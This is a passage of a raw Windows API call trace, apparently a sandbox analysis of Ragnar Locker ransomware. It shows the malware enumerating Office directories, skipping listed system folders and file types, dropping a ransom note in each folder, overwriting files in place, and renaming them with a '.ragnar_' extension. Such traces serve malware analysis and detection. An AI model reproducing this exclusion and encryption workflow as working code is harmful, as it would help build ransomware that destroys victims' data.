ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2=".") returned 1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="..") returned 1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Windows") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Windows.old") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Tor browser") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Internet Explorer") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Google") returned 1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Opera") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Opera Software") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Mozilla") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="Mozilla Firefox") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="$Recycle.Bin") returned 1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="ProgramData") returned -1 [0061.478] lstrcmpiW (lpString1="Groove.en-us", lpString2="All Users") returned 1 [0061.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0061.478] lstrcpyW (in: lpString1=0x1eab90, lpString2="Groove.en-us" | out: lpString1="Groove.en-us") returned="Groove.en-us" [0061.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" [0061.478] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" [0061.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RGNR_FD7BD9FC.txt" [0061.478] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0061.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*" [0061.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.482] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.482] lstrcpyW (in: lpString1=0x1e9cbe, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e32920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.483] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e32920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.483] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.483] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0061.483] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".") returned 1 [0061.483] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="..") returned 1 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e32920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.483] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0061.483] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.483] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0061.483] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.483] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e32920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e32920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.483] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0061.483] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.484] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="GrooveMUI.XML" | out: lpString1="GrooveMUI.XML") returned="GrooveMUI.XML" [0061.484] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned=".XML" [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="autorun.inf") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="boot.ini") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootfont.bin") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootsect.bak") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootmgr") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootmgr.efi") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootmgfw.efi") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="desktop.ini") returned 1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="iconcache.db") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ntldr") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ntuser.dat") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ntuser.dat.log") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ntuser.ini") returned -1 [0061.484] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="thumbs.db") returned -1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.484] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0061.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.485] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=913) returned 1 [0061.485] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.485] GetProcessHeap () returned 0x580000 [0061.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.485] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.486] VirtualAlloc (lpAddress=0x0, dwSize=0x391, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.487] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.487] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.487] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x391, lpOverlapped=0x0) returned 1 [0061.487] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.487] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x391, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.487] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x391, lpOverlapped=0x0) returned 1 [0061.487] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x391, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.487] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.487] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x391, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.488] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.488] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.488] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.488] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.488] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.488] GetProcessHeap () returned 0x580000 [0061.488] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.488] CloseHandle (hObject=0x108) returned 1 [0061.489] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" [0061.489] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.ragnar_FD7BD9FC" [0061.489] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.489] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e32920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.489] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0061.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0061.489] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0061.490] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.490] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.490] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0061.490] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned=".XML" [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0061.490] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.490] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0061.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.491] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1452) returned 1 [0061.491] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x5a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.491] GetProcessHeap () returned 0x580000 [0061.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.491] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.493] VirtualAlloc (lpAddress=0x0, dwSize=0x5ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.493] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.493] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.493] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5ac, lpOverlapped=0x0) returned 1 [0061.493] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.493] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.493] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5ac, lpOverlapped=0x0) returned 1 [0061.493] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.494] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.494] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x5ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.494] LockFile (hFile=0x108, 